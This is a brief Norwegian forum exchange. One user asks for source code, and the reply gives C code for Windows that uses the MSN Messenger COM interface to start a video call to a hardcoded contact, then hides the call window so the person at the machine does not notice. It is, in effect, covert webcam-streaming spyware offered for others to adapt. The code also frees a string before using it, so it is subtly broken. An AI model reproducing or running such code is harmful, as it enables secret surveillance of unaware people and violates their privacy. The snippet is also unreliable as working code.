Sitat av Pyre
Støtter Goophy, legg ut kildekode, så er det sikkert noen som gidder å tweake litt..
Og forresten, hva er det programmert i?
Og forresten, hva er det programmert i?
Vis hele sitatet...
75
14293
|
{ #include "windows.h" #include "msgruaid.h" #include "msgrua.h" #include "oleauto.h" int main(int argc, char *argv[]) { IMessenger2 *pIMessenger = NULL; IMessengerWindow *pIWindow = NULL; IDispatch *pIDispatch = NULL; VARIANT vName; char *cName; long lWindow; CoInitialize(0); CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); cName = "dadyd@online.no"; BSTR pbstrName= SysAllocStringLen(NULL, lstrlenA(cName)); MultiByteToWideChar(CP_ACP, 0, cName, lstrlenA(cName), pbstrName, lstrlenA(cName)); SysFreeString(pbstrName); vName.vt = VT_BSTR; vName.bstrVal = (BSTR)pbstrName; pIMessenger->StartVideo(vName, &pIDispatch); pIDispatch->QueryInterface(IID_IMessengerWindow, (void**)&pIWindow); pIDispatch->Release(); // Get handle of window pIWindow->get_HWND(&lWindow); pIWindow->Release(); // Hide the window ShowWindow((HWND)lWindow, SW_HIDE); pIMessenger->Release(); CoUninitialize(); ExitProcess(0); return 0; }
|